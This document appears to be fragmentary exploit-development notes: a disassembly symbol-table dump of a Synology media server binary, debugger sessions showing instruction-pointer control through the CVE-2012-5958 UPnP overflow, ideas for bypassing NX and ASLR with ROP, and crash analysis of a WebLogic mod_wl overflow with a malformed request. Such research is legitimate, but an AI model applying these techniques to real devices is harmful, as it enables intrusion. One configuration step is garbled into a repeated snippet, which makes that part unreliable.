MediaServer::XMLEscape(std::string const&,char const*) .got.plt:080BA400 off_80BA400 dd offset MediaInfoDBOpen ; DATA XREF: _MediaInfoDBOpenr .got.plt:080BA404 off_80BA404 dd offset __strtol_internal .got.plt:080BA404 ; DATA XREF: ___strtol_internalr .got.plt:080BA408 off_80BA408 dd offset pthread_setspecific .got.plt:080BA408 ; DATA XREF: _pthread_setspecificr .got.plt:080BA40C off_80BA40C dd offset pthread_key_create .got.plt:080BA40C ; DATA XREF: _pthread_key_creater .got.plt:080BA410 off_80BA410 dd offset _ZNSsC1ERKSs ; DATA XREF: std::string::string(std::string const&)r .got.plt:080BA410 ; std::string::string(std::string const&) .got.plt:080BA414 off_80BA414 dd offset UpnpAcceptSubscription .got.plt:080BA414 ; DATA XREF: _UpnpAcceptSubscriptionr .got.plt:080BA418 off_80BA418 dd offset __cxa_begin_catch .got.plt:080BA418 ; DATA XREF: ___cxa_begin_catchr .got.plt:080BA41C off_80BA41C dd offset _ZN11MediaServer13DMSClientList11FindMacByIPERKSs .got.plt:080BA41C ; DATA XREF: MediaServer::DMSClientList::FindMacByIP(std::string const&)r .got.plt:080BA41C ; MediaServer::DMSClientList::FindMacByIP(std::string const&) .got.plt:080BA420 off_80BA420 dd offset _Znaj ; DATA XREF: operator new[](uint)r .got.plt:080BA420 ; operator new[](uint) .got.plt:080BA424 off_80BA424 dd offset _ZN14SynoAudioUtils19RadioGetStationDataEjjRNS_12RadioStationE .got.plt:080BA424 ; DATA XREF: SynoAudioUtils::RadioGetStationData(uint,uint,SynoAudioUtils::RadioStation &)r .got.plt:080BA424 ; SynoAudioUtils::RadioGetStationData(uint,uint,SynoAudioUtils::RadioStation &) .got.plt:080BA428 off_80BA428 dd offset __xstat64 ; DATA XREF: ___xstat64r .got.plt:080BA42C off_80BA42C dd offset _ZSt18_Rb_tree_decrementPSt18_Rb_tree_node_base .got.plt:080BA42C ; DATA XREF: std::_Rb_tree_decrement(std::_Rb_tree_node_base *)r .got.plt:080BA42C ; std::_Rb_tree_decrement(std::_Rb_tree_node_base *) .got.plt:080BA430 off_80BA430 dd offset _ZNSsC1EPKcRKSaIcE .got.plt:080BA430 ; DATA XREF: std::string::string(char const*,std::allocator<char> const&)r .got.plt:080BA430 ; std::string::string(char const*,std::allocator<char> const&) .got.plt:080BA434 off_80BA434 dd offset initPQExpBuffer ; DATA XREF: _initPQExpBufferr .got.plt:080BA438 off_80BA438 dd offset pcre_compile ; DATA XREF: _pcre_compiler .got.plt:080BA43C off_80BA43C dd offset _ZN11MediaServer14DMSLOGGetLevelEv .got.plt:080BA43C ; DATA XREF: MediaServer::DMSLOGGetLevel(void)r .got.plt:080BA43C ; MediaServer::DMSLOGGetLevel(void) .got.plt:080BA440 off_80BA440 dd offset SYNODBConnect ; DATA XREF: _SYNODBConnectr .got.plt:080BA444 off_80BA444 dd offset _ZN11MediaServer16DMSClientCheckerC1ERKSsS2_b .got.plt:080BA444 ; DATA XREF: MediaServer::DMSClientChecker::DMSClientChecker(std::string const&,std::string const&,bool)r .got.plt:080BA444 ; MediaServer::DMSClientChecker::DMSClientChecker(std::string const&,std::string const&,bool) .got.plt:080BA448 off_80BA448 dd offset _ZN14SynoAudioUtils12SmartPLSEnumEiiRiPKc .got.plt:080BA448 ; DATA XREF: SynoAudioUtils::SmartPLSEnum(int,int,int &,char const*)r .got.plt:080BA448 ; SynoAudioUtils::SmartPLSEnum(int,int,int &,char const*) .got.plt:080BA44C off_80BA44C dd offset _ZN11MediaServer13StringToLowerERKSs .got.plt:080BA44C ; DATA XREF: MediaServer::StringToLower(std::string const&)r .got.plt:080BA44C ; MediaServer::StringToLower(std::string const&) .got.plt:080BA450 off_80BA450 dd offset __libc_start_main .got.plt:080BA450 ; DATA XREF: ___libc_start_mainr .got.plt:080BA454 off_80BA454 dd offset _ZN11MediaServer7MediaDB11SelectTotalEv .got.plt:080BA454 ; DATA XREF: MediaServer::MediaDB::SelectTotal(void)r .got.plt:080BA454 ; MediaServer::MediaDB::SelectTotal(void) .got.plt:080BA458 off_80BA458 dd offset _ZN11MediaServer21DMSGetMediaFolderPathE21_tag_MEDIA_TABLE_TYPE .got.plt:080BA458 ; DATA XREF: MediaServer::DMSGetMediaFolderPath(_tag_MEDIA_TABLE_TYPE)r .got.plt:080BA458 ; MediaServer::DMSGetMediaFolderPath(_tag_MEDIA_TABLE_TYPE) .got.plt:080BA45C off_80BA45C dd offset _ZN11MediaServer13DMSClientList11WriteToFileEv .got.plt:080BA45C ; DATA XREF: MediaServer::DMSClientList::WriteToFile(void)r .got.plt:080BA45C ; MediaServer::DMSClientList::WriteToFile(void) .got.plt:080BA460 off_80BA460 dd offset _ZSt18_Rb_tree_incrementPSt18_Rb_tree_node_base .got.plt:080BA460 ; DATA XREF: std::_Rb_tree_increment(std::_Rb_tree_node_base *)r .got.plt:080BA460 ; std::_Rb_tree_increment(std::_Rb_tree_node_base *) .got.plt:080BA464 off_80BA464 dd offset _ZNSs14_M_replace_auxEjjjc .got.plt:080BA464 ; DATA XREF: std::string::_M_replace_aux(uint,uint,uint,char)r .got.plt:080BA464 ; std::string::_M_replace_aux(uint,uint,uint,char) .got.plt:080BA468 off_80BA468 dd offset _ZN11MediaServer20XMLGetAttributeValueEP10_IXML_NodeRKSs .got.plt:080BA468 ; DATA XREF: MediaServer::XMLGetAttributeValue(_IXML_Node *,std::string const&)r .got.plt:080BA468 ; MediaServer::XMLGetAttributeValue(_IXML_Node *,std::string const&) .got.plt:080BA46C off_80BA46C dd offset _ZNSs6appendEPKcj .got.plt:080BA46C ; DATA XREF: std::string::append(char const*,uint)r .got.plt:080BA46C ; std::string::append(char const*,uint) .got.plt:080BA470 off_80BA470 dd offset _Znwj ; DATA XREF: operator new(uint)r .got.plt:080BA470 ; operator new(uint) .got.plt:080BA474 off_80BA474 dd offset UpnpSetWebServerRootDir .got.plt:080BA474 ; DATA XREF: _UpnpSetWebServerRootDirr .got.plt:080BA478 off_80BA478 dd offset _ZN11MediaServer7MediaDBD1Ev .got.plt:080BA478 ; DATA XREF: MediaServer::MediaDB::~MediaDB()r .got.plt:080BA478 ; MediaServer::MediaDB::~MediaDB() .got.plt:080BA47C off_80BA47C dd offset SLIBCStrTokIndex ; DATA XREF: _SLIBCStrTokIndexr .got.plt:080BA480 off_80BA480 dd offset _ZN11MediaServer19XMLFindChildElementERKSsP10_IXML_Node .got.plt:080BA480 ; DATA XREF: MediaServer::XMLFindChildElement(std::string const&,_IXML_Node *)r .got.plt:080BA480 ; MediaServer::XMLFindChildElement(std::string const&,_IXML_Node *) .got.plt:080BA484 off_80BA484 dd offset _ZNSt8ios_baseD2Ev .got.plt:080BA484 ; DATA XREF: std::ios_base::~ios_base()r .got.plt:080BA484 ; std::ios_base::~ios_base() .got.plt:080BA488 off_80BA488 dd offset _ZSt29_Rb_tree_insert_and_rebalancebPSt18_Rb_tree_node_baseS0_RS_ .got.plt:080BA488 ; DATA XREF: std::_Rb_tree_insert_and_rebalance(bool,std::_Rb_tree_node_base *,std::_Rb_tree_node_base *,std::_Rb_tree_node_base&)r .got.plt:080BA488 ; std::_Rb_tree_insert_and_rebalance(bool,std::_Rb_tree_node_base *,std::_Rb_tree_node_base *,std::_Rb_tree_node_base&) .got.plt:080BA48C off_80BA48C dd offset _ZN4Json5ValueaSERKS0_ .got.plt:080BA48C ; DATA XREF: Json::Value::operator=(Json::Value const&)r .got.plt:080BA48C ; Json::Value::operator=(Json::Value const&) .got.plt:080BA490 off_80BA490 dd offset _ZN11MediaServer10DMSLOGInitEPKc .got.plt:080BA490 ; DATA XREF: MediaServer::DMSLOGInit(char const*)r .got.plt:080BA490 ; MediaServer::DMSLOGInit(char const*) .got.plt:080BA494 off_80BA494 dd offset MediaInfoDBGet ; DATA XREF: _MediaInfoDBGetr .got.plt:080BA498 off_80BA498 dd offset fclose ; DATA XREF: _fcloser .got.plt:080BA49C off_80BA49C dd offset _ZNSt9basic_iosIcSt11char_traitsIcEE5clearESt12_Ios_Iostate .got.plt:080BA49C ; DATA XREF: std::basic_ios<char,std::char_traits<char>>::clear(std::_Ios_Iostate)r .got.plt:080BA49C ; std::basic_ios<char,std::char_traits<char>>::clear(std::_Ios_Iostate) .got.plt:080BA4A0 off_80BA4A0 dd offset strrchr ; DATA XREF: _strrchrr .got.plt:080BA4A4 off_80BA4A4 dd offset SYNONetGetCard1 ; DATA XREF: _SYNONetGetCard1r .got.plt:080BA4A8 off_80BA4A8 dd offset _ZN11MediaServer21GetIndexLoacationPathERK21_tag_MEDIA_TABLE_TYPE .got.plt:080BA4A8 ; DATA XREF: MediaServer::GetIndexLoacationPath(_tag_MEDIA_TABLE_TYPE const&)r .got.plt:080BA4A8 ; MediaServer::GetIndexLoacationPath(_tag_MEDIA_TABLE_TYPE const&) .got.plt:080BA4AC off_80BA4AC dd offset _ZN11MediaServer9DMSPrintfENS_12DMSLOG_LEVELEPKcz .got.plt:080BA4AC ; DATA XREF: MediaServer::DMSPrintf(MediaServer::DMSLOG_LEVEL,char const*,...)r .got.plt:080BA4AC ; MediaServer::DMSPrintf(MediaServer::DMSLOG_LEVEL,char const*,...) .got.plt:080BA4B0 off_80BA4B0 dd offset fopen64 ; DATA XREF: _fopen64r .got.plt:080BA4B4 off_80BA4B4 dd offset UpnpGetServerPort .got.plt:080BA4B4 ; DATA XREF: _UpnpGetServerPortr .got.plt:080BA4B8 off_80BA4B8 dd offset _ZN14SynoAudioUtils14RadioGetGenresEiiRSt6vectorINS_10RadioGenreESaIS1_EERi .got.plt:080BA4B8 ; DATA XREF: SynoAudioUtils::RadioGetGenres(int,int,std::vector<SynoAudioUtils::RadioGenre,std::allocator<SynoAudioUtils::RadioGenre>> &,int &)r .got.plt:080BA4B8 ; SynoAudioUtils::RadioGetGenres(int,int,std::vector<SynoAudioUtils::RadioGenre,std::allocator<SynoAudioUtils::RadioGenre>> &,int &) .got.plt:080BA4BC off_80BA4BC dd offset _ZN11MediaServer16XMLEnumTagValuesEP10_IXML_NodeRKSs .got.plt:080BA4BC ; DATA XREF: MediaServer::XMLEnumTagValues(_IXML_Node *,std::string const&)r .got.plt:080BA4BC ; MediaServer::XMLEnumTagValues(_IXML_Node *,std::string const&) .got.plt:080BA4C0 off_80BA4C0 dd offset snprintf ; DATA XREF: _snprintfr .got.plt:080BA4C4 off_80BA4C4 dd offset gethostname ; DATA XREF: _gethostnamer .got.plt:080BA4C8 off_80BA4C8 dd offset _ZN11MediaServer16DMSClientChecker15InitProfileListERKSs .got.plt:080BA4C8 ; DATA XREF: MediaServer::DMSClientChecker::InitProfileList(std::string const&)r .got.plt:080BA4C8 ; MediaServer::DMSClientChecker::InitProfileList(std::string const&) .got.plt:080BA4CC off_80BA4CC dd offset __cxa_pure_virtual .got.plt:080BA4CC ; DATA XREF: ___cxa_pure_virtualr .got.plt:080BA4D0 off_80BA4D0 dd offset strcasecmp ; DATA XREF: _strcasecmpr .got.plt:080BA4D4 off_80BA4D4 dd offset mkstemp64 ; DATA XREF: _mkstemp64r .got.plt:080BA4D8 off_80BA4D8 dd offset inet_ntop ; DATA XREF: _inet_ntopr .got.plt:080BA4DC off_80BA4DC dd offset _ZSt20__throw_length_errorPKc .got.plt:080BA4DC ; DATA XREF: std::__throw_length_error(char const*)r .got.plt:080BA4DC ; std::__throw_length_error(char const*) .got.plt:080BA4E0 off_80BA4E0 dd offset _ZdaPv ; DATA XREF: operator delete[](void *)r .got.plt:080BA4E0 ; operator delete[](void *) .got.plt:080BA4E4 off_80BA4E4 dd offset exit ; DATA XREF: _exitr .got.plt:080BA4E8 off_80BA4E8 dd offset ixmlNode_getNodeType .got.plt:080BA4E8 ; DATA XREF: _ixmlNode_getNodeTyper .got.plt:080BA4EC off_80BA4EC dd offset UpnpSetDescURL ; DATA XREF: _UpnpSetDescURLr .got.plt:080BA4F0 off_80BA4F0 dd offset _ZNSs6assignERKSs .got.plt:080BA4F0 ; DATA XREF: std::string::assign(std::string const&)r .got.plt:080BA4F0 ; std::string::assign(std::string const&) .got.plt:080BA4F4 off_80BA4F4 dd offset _ZN11MediaServer18SQLEscapeConditionERKSs .got.plt:080BA4F4 ; DATA XREF: MediaServer::SQLEscapeCondition(std::string const&)r .got.plt:080BA4F4 ; MediaServer::SQLEscapeCondition(std::string const&) .got.plt:080BA4F8 off_80BA4F8 dd offset _ZN11MediaServer15SQLEscapeStringERKSs .got.plt:080BA4F8 ; DATA XREF: MediaServer::SQLEscapeString(std::string const&)r .got.plt:080BA4F8 ; MediaServer::SQLEscapeString(std::string const&) .got.plt:080BA4FC off_80BA4FC dd offset SLIBNetGetInterfaceInfo .got.plt:080BA4FC ; DATA XREF: _SLIBNetGetInterfaceInfor .got.plt:080BA500 off_80BA500 dd offset free ; DATA XREF: _freer .got.plt:080BA504 off_80BA504 dd offset _ZN11MediaServer9URLEncodeERKSs .got.plt:080BA504 ; DATA XREF: MediaServer::URLEncode(std::string const&)r .got.plt:080BA504 ; MediaServer::URLEncode(std::string const&) .got.plt:080BA508 off_80BA508 dd offset _ZNSs12_M_leak_hardEv .got.plt:080BA508 ; DATA XREF: std::string::_M_leak_hard(void)r .got.plt:080BA508 ; std::string::_M_leak_hard(void) .got.plt:080BA50C off_80BA50C dd offset _ZN11MediaServer13StringReplaceESsSsSs .got.plt:080BA50C ; DATA XREF: MediaServer::StringReplace(std::string,std::string,std::string)r .got.plt:080BA50C ; MediaServer::StringReplace(std::string,std::string,std::string) .got.plt:080BA510 off_80BA510 dd offset ixmlLoadDocumentEx .got.plt:080BA510 ; DATA XREF: _ixmlLoadDocumentExr .got.plt:080BA514 off_80BA514 dd offset pcre_study ; DATA XREF: _pcre_studyr .got.plt:080BA518 off_80BA518 dd offset UpnpRegisterRootDevice .got.plt:080BA518 ; DATA XREF: _UpnpRegisterRootDevicer .got.plt:080BA51C off_80BA51C dd offset _ZN14SynoAudioUtils16RadioGetStationsEjiiRSt6vectorINS_12RadioStationESaIS1_EERi .got.plt:080BA51C ; DATA XREF: SynoAudioUtils::RadioGetStations(uint,int,int,std::vector<SynoAudioUtils::RadioStation,std::allocator<SynoAudioUtils::RadioStation>> &,int &)r .got.plt:080BA51C ; SynoAudioUtils::RadioGetStations(uint,int,int,std::vector<SynoAudioUtils::RadioStation,std::allocator<SynoAudioUtils::RadioStation>> &,int &) .got.plt:080BA520 off_80BA520 dd offset memset ; DATA XREF: _memsetr .got.plt:080BA524 off_80BA524 dd offset _ZSt20__throw_out_of_rangePKc .got.plt:080BA524 ; DATA XREF: std::__throw_out_of_range(char const*)r .got.plt:080BA524 ; std::__throw_out_of_range(char const*) .got.plt:080BA528 off_80BA528 dd offset strncasecmp ; DATA XREF: _strncasecmpr .got.plt:080BA52C off_80BA52C dd offset _ZN4Json5ValueD1Ev .got.plt:080BA52C ; DATA XREF: Json::Value::~Value()r .got.plt:080BA52C ; Json::Value::~Value() .got.plt:080BA530 off_80BA530 dd offset _ZN7pcrecpp3Arg12parse_stringEPKciPv .got.plt:080BA530 ; DATA XREF: .plt:pcrecpp::Arg::parse_string(char const*,int,void *)r .got.plt:080BA530 ; pcrecpp::Arg::parse_string(char const*,int,void *) .got.plt:080BA534 off_80BA534 dd offset ixmlNamedNodeMap_getNamedItem .got.plt:080BA534 ; DATA XREF: _ixmlNamedNodeMap_getNamedItemr .got.plt:080BA538 off_80BA538 dd offset _ZNSs6assignEPKcj .got.plt:080BA538 ; DATA XREF: std::string::assign(char const*,uint)r .got.plt:080BA538 ; std::string::assign(char const*,uint) .got.plt:080BA53C off_80BA53C dd offset _ZN11MediaServer7MediaDB20AddExcludeVideoCodecESs .got.plt:080BA53C ; DATA XREF: MediaServer::MediaDB::AddExcludeVideoCodec(std::string)r .got.plt:080BA53C ; MediaServer::MediaDB::AddExcludeVideoCodec(std::string) .got.plt:080BA540 off_80BA540 dd offset lseek64 ; DATA XREF: _lseek64r .got.plt:080BA544 off_80BA544 dd offset _ZNSt9basic_iosIcSt11char_traitsIcEE4initEPSt15basic_streambufIcS1_E .got.plt:080BA544 ; DATA XREF: std::basic_ios<char,std::char_traits<char>>::init(std::basic_streambuf<char,std::char_traits<char>> *)r .got.plt:080BA544 ; std::basic_ios<char,std::char_traits<char>>::init(std::basic_streambuf<char,std::char_traits<char>> *) .got.plt:080BA548 off_80BA548 dd offset _ZN7pcrecpp2RED1Ev .got.plt:080BA548 ; DATA XREF: pcrecpp::RE::~RE()r .got.plt:080BA548 ; pcrecpp::RE::~RE() .got.plt:080BA54C off_80BA54C dd offset _Unwind_Resume ; DATA XREF: __Unwind_Resumer .got.plt:080BA550 off_80BA550 dd offset _ZN11MediaServer14FileGetFileExtERKSs .got.plt:080BA550 ; DATA XREF: MediaServer::FileGetFileExt(std::string const&)r .got.plt:080BA550 ; MediaServer::FileGetFileExt(std::string const&) .got.plt:080BA554 off_80BA554 dd offset _ZN11MediaServer19FileGetPathBaseNameERKSs .got.plt:080BA554 ; DATA XREF: MediaServer::FileGetPathBaseName(std::string const&)r .got.plt:080BA554 ; MediaServer::FileGetPathBaseName(std::string const&) .got.plt:080BA558 off_80BA558 dd offset __strtoul_internal .got.plt:080BA558 ; DATA XREF: ___strtoul_internalr .got.plt:080BA55C off_80BA55C dd offset UpnpSetMaxContentLength .got.plt:080BA55C ; DATA XREF: _UpnpSetMaxContentLengthr .got.plt:080BA560 off_80BA560 dd offset _ZN11MediaServer7MediaDB14FetchMediaItemER21__tag_SYNO_MEDIA_INFO .got.plt:080BA560 ; DATA XREF: MediaServer::MediaDB::FetchMediaItem(__tag_SYNO_MEDIA_INFO &)r .got.plt:080BA560 ; MediaServer::MediaDB::FetchMediaItem(__tag_SYNO_MEDIA_INFO &) .got.plt:080BA564 off_80BA564 dd offset _ZNKSs5rfindEcj .got.plt:080BA564 ; DATA XREF: std::string::rfind(char,uint)r .got.plt:080BA564 ; std::string::rfind(char,uint) .got.plt:080BA568 off_80BA568 dd offset SYNOPlaylistRecFree .got.plt:080BA568 ; DATA XREF: _SYNOPlaylistRecFreer .got.plt:080BA56C off_80BA56C dd offset pthread_mutex_unlock .got.plt:080BA56C ; DATA XREF: _pthread_mutex_unlockr .got.plt:080BA570 off_80BA570 dd offset ixmlDocument_getElementsByTagName .got.plt:080BA570 ; DATA XREF: _ixmlDocument_getElementsByTagNamer .got.plt:080BA574 off_80BA574 dd offset _ZN11MediaServer7MediaDB6SelectERKSsS2_iiS2_ .got.plt:080BA574 ; DATA XREF: MediaServer::MediaDB::Select(std::string const&,std::string const&,int,int,std::string const&)r .got.plt:080BA574 ; MediaServer::MediaDB::Select(std::string const&,std::string const&,int,int,std::string const&) .got.plt:080BA578 off_80BA578 dd offset ixmlNodeList_free .got.plt:080BA578 ; DATA XREF: _ixmlNodeList_freer .got.plt:080BA57C off_80BA57C dd offset __cxa_throw ; DATA XREF: ___cxa_throwr .got.plt:080BA580 off_80BA580 dd offset _ZN4Json5ValueixEPKc .got.plt:080BA580 ; DATA XREF: Json::Value::operator[](char const*)r .got.plt:080BA580 ; Json::Value::operator[](char const*) .got.plt:080BA584 off_80BA584 dd offset printfPQExpBuffer .got.plt:080BA584 ; DATA XREF: _printfPQExpBufferr .got.plt:080BA588 off_80BA588 dd offset UpnpAddVirtualDir .got.plt:080BA588 ; DATA XREF: _UpnpAddVirtualDirr .got.plt:080BA58C off_80BA58C dd offset _ZN11MediaServer13DMSClientList7FindKeyERKSsS2_ .got.plt:080BA58C ; DATA XREF: MediaServer::DMSClientList::FindKey(std::string const&,std::string const&)r .got.plt:080BA58C ; MediaServer::DMSClientList::FindKey(std::string const&,std::string const&) .got.plt:080BA590 off_80BA590 dd offset _ZN11MediaServer7MediaDBC1E21_tag_MEDIA_TABLE_TYPEP13DBConnect_tag .got.plt:080BA590 ; DATA XREF: MediaServer::MediaDB::MediaDB(_tag_MEDIA_TABLE_TYPE,DBConnect_tag *)r .got.plt:080BA590 ; MediaServer::MediaDB::MediaDB(_tag_MEDIA_TABLE_TYPE,DBConnect_tag *) .got.plt:080BA594 off_80BA594 dd offset _ZN11MediaServer16DMSClientChecker17ReleaseClientListEv .got.plt:080BA594 ; DATA XREF: MediaServer::DMSClientChecker::ReleaseClientList(void)r .got.plt:080BA594 ; MediaServer::DMSClientChecker::ReleaseClientList(void) .got.plt:080BA598 off_80BA598 dd offset _ZN4Json18StyledStreamWriter5writeERSoRKNS_5ValueE .got.plt:080BA598 ; DATA XREF: Json::StyledStreamWriter::write(std::ostream &,Json::Value const&)r .got.plt:080BA598 ; Json::StyledStreamWriter::write(std::ostream &,Json::Value const&) .got.plt:080BA59C off_80BA59C dd offset _ZN11MediaServer13StringImplodeERKSt6vectorISsSaISsEEPKc .got.plt:080BA59C ; DATA XREF: MediaServer::StringImplode(std::vector<std::string,std::allocator<std::string>> const&,char const*)r .got.plt:080BA59C ; MediaServer::StringImplode(std::vector<std::string,std::allocator<std::string>> const&,char const*) .got.plt:080BA5A0 off_80BA5A0 dd offset __gxx_personality_v0 .got.plt:080BA5A0 ; DATA XREF: .plt:___gxx_personality_v0r .got.plt:080BA5A4 off_80BA5A4 dd offset pcre_free_substring_list .got.plt:080BA5A4 ; DATA XREF: _pcre_free_substring_listr .got.plt:080BA5A8 off_80BA5A8 dd offset pcre_exec ; DATA XREF: _pcre_execr .got.plt:080BA5AC off_80BA5AC dd offset UpnpDownloadXmlDoc .got.plt:080BA5AC ; DATA XREF: _UpnpDownloadXmlDocr .got.plt:080BA5B0 off_80BA5B0 dd offset read ; DATA XREF: _readr .got.plt:080BA5B4 off_80BA5B4 dd offset UpnpGetServerIpAddress .got.plt:080BA5B4 ; DATA XREF: _UpnpGetServerIpAddressr .got.plt:080BA5B8 off_80BA5B8 dd offset SLIBCErrGet ; DATA XREF: _SLIBCErrGetr .got.plt:080BA5BC off_80BA5BC dd offset _ZdlPv ; DATA XREF: operator delete(void *)r .got.plt:080BA5BC ; operator delete(void *) .got.plt:080BA5C0 off_80BA5C0 dd offset _ZNSt8ios_base4InitD1Ev .got.plt:080BA5C0 ; DATA XREF: sub_804D8E6:std::ios_base::Init::~Init()r .got.plt:080BA5C0 ; std::ios_base::Init::~Init() .got.plt:080BA5C4 off_80BA5C4 dd offset ParsePlayListByField .got.plt:080BA5C4 ; DATA XREF: _ParsePlayListByFieldr .got.plt:080BA5C4 _got_plt ends .got.plt:080BA5C4
Weird… maybe with other executables…
When exploiting cve-2012-5958 with x86 / ubuntu 10.04 compilation to simulate the DSM
environment its the register situation at overflow time:
Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb5fb6b70 (LWP 6628)] 0x00414141 in ?? () (gdb) info registers eax 0x0 0 ecx 0xb5fb59e0 -1241818656 edx 0x0 0 ebx 0x42424242 1111638594 esp 0xb5fb5c30 0xb5fb5c30 ebp 0x42424242 0x42424242 esi 0x42424242 1111638594 edi 0x42424242 1111638594 eip 0x414141 0x414141 eflags 0x210282 [ SF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
ESP pointint to
(gdb) x/xw $esp 0xb5fb5c30: 0x09170ad8 (gdb) x/s 0x09170ad8 0x9170ad8: "uuid:schemas:device:", 'B' <repeats 180 times>...
The contents contained at the pointer at esp can be easily controlled by doing something like
"ST:MSF1uuid:schemas:device:#{bof}:btw\r\n" + (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb5f0fb70 (LWP 6729)] 0x00414141 in ?? () (gdb) x/x $esp 0xb5f0ec30: 0x09e97918 (gdb) x/s 0x09e97918 0x9e97918: "MSF1uuid:schemas:device:", 'B' <repeats 176 times>...
If ASLR is disabled / unsupported (old kernels) and system() is mapped to a compatible address with goodchars,
it could be used to NX bypass.If ASLR is disabled and system isn’t mapped to a compatible addresses, maybe wrappers can be found, for example, for the
case of the DMS Media Server, slibcsystem() (and other interesting wrappers for libc) are exported by libsynocore.so.3.1…..
but no luck when executing it into an Ubuntu 10.04 box (I guess mappings will be different on the original box, anyway in
the original box aslr is enabled):
(gdb) disass 0x37d000 + 0x10EBC Dump of assembler code for function SLIBCSystem: 0x0038debc <+0>: push %ebp 0x0038debd <+1>: mov %esp,%ebp 0x0038debf <+3>: push %ebx
- In order to run dms on an Ubuntu 10.04 box (easy way), just use the next ld config file:
(gdb) disass 0x37d000 + 0x10EBC Dump of assembler code for function SLIBCSystem: 0x0038debc <+0>: push %ebp 0x0038debd <+1>: mov %esp,%ebp 0x0038debf <+3>: push %ebx
and run ldconfig
- ROP Gadgets can be searched with http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/, but some API pointers
in compatible addresses are needed… tricky
ROPeMe> generate /home/juan/DSM_40_X64_MediaServer/sbin/dms 5 Generating gadgets for /home/juan/DSM_40_X64_MediaServer/sbin/dms with backward depth=5 It may take few minutes depends on the depth and file size... Processing code block 1/1 Generated 2492 gadgets Dumping asm gadgets to file: dms.ggt ... OK
(Using dms because is no PIE compatible)
Technical Analysis
Details
Bea Weblogic 8.1 + Apache
http://docs.oracle.com/cd/E13222_01/wls/docs81/plugins/apache.html
First crash
(328.c38): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\RPCRT4.dll - *** WARNING: Unable to verify checksum for C:\Program Files\Apache Group\Apache2\modules\mod_wl_20.so *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Apache Group\Apache2\modules\mod_wl_20.so - eax=00000045 ebx=006a5d58 ecx=43434343 edx=7c90e4f4 esi=10013932 edi=000000a8 eip=77ea4126 esp=0280d7ec ebp=0280e818 iopl=0 ov up ei pl nz na po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010a03 RPCRT4!NdrVaryingArrayUnmarshall+0x81: 77ea4126 008945107416 add byte ptr [ecx+16741045h],cl ds:0023:59b75388=?? 0:132> .symfix 0:132> .reload Reloading current modules ............................................. *** WARNING: Unable to verify checksum for C:\Program Files\Apache Group\Apache2\modules\mod_wl_20.so *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Apache Group\Apache2\modules\mod_wl_20.so - 0:132> kb ChildEBP RetAddr Args to Child 0280e818 10001a8a 006a5d58 006b8ce0 0280fa38 RPCRT4!NdrVaryingArrayUnmarshall+0x82 *** WARNING: Unable to verify checksum for C:\Program Files\Apache Group\Apache2\bin\libhttpd.dll *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Apache Group\Apache2\bin\libhttpd.dll - WARNING: Stack unwind information not available. Following frames may be wrong. 0280fef4 6ff0155f 006a5d58 006a1e28 006a5d58 mod_wl_20+0x1a8a 0280ff08 6ff018a9 006a5d58 006a5d58 00000000 libhttpd!ap_run_handler+0x1f 0280ff18 6ff0d97c 006a5d58 006a5d58 6ff097c6 libhttpd!ap_invoke_handler+0xa9 00000000 00000000 00000000 00000000 00000000 libhttpd!ap_die+0x23c
More controlled crash: length 4100
ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 0440d7d4 41414141 54544820 2e312f50 000a0d31 0x41414141 *** WARNING: Unable to verify checksum for C:\Program Files\Apache Group\Apache2\modules\mod_wl_20.so *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Apache Group\Apache2\modules\mod_wl_20.so - 0440e818 10001a8a 006a9388 0069cb20 0440fa38 0x41414141 *** WARNING: Unable to verify checksum for C:\Program Files\Apache Group\Apache2\bin\libhttpd.dll *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Apache Group\Apache2\bin\libhttpd.dll - 0440fef4 6ff0155f 006a9388 0068dcf8 006a9388 mod_wl_20+0x1a8a 0440ff08 6ff018a9 006a9388 006a9388 00000000 libhttpd!ap_run_handler+0x1f 0440ff18 6ff0d97c 006a9388 006a9388 6ff097c6 libhttpd!ap_invoke_handler+0xa9 00000000 00000000 00000000 00000000 00000000 libhttpd!ap_die+0x23c
mod_wl detection via nessus
weblogic_mod_wl_overflow.nasl: “TITLE>Weblogic Bridge Message” >< res[2] ||
POST /index.jsp HTTP/1.1 Host: 192.168.1.130 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Content-Length: -1 TML> <HEAD> <TITLE>Weblogic Bridge Message </TITLE> </HEAD> <BODY> <H2>Failure of server APACHE bridge:</H2><P> <hr><PRE>Internal Server failure, APACHE plugin. Cannot continue.</PRE> <hr><BR><B>Build date/time:</B> <I>Jun 16 2006 15:14:11</I> <P><HR><B>Change Number:</B> <I>779586</I> </BODY> </HTML> <HTML> <HEAD> <TITLE>Weblogic Bridge Message
mod_wl overflow
.text:1000E751 push ecx ; it should be HTTP/1.1 but.... failed :) .text:1000E752 push edx .text:1000E753 mov edx, [ebp+214h] .text:1000E759 push edx .text:1000E75A push offset aSSS ; "%s %s %s\r\n" .text:1000E75F push eax ; Dest .text:1000E760 call ds:sprintf ; here is where overflow happends!
GET EIP on RET
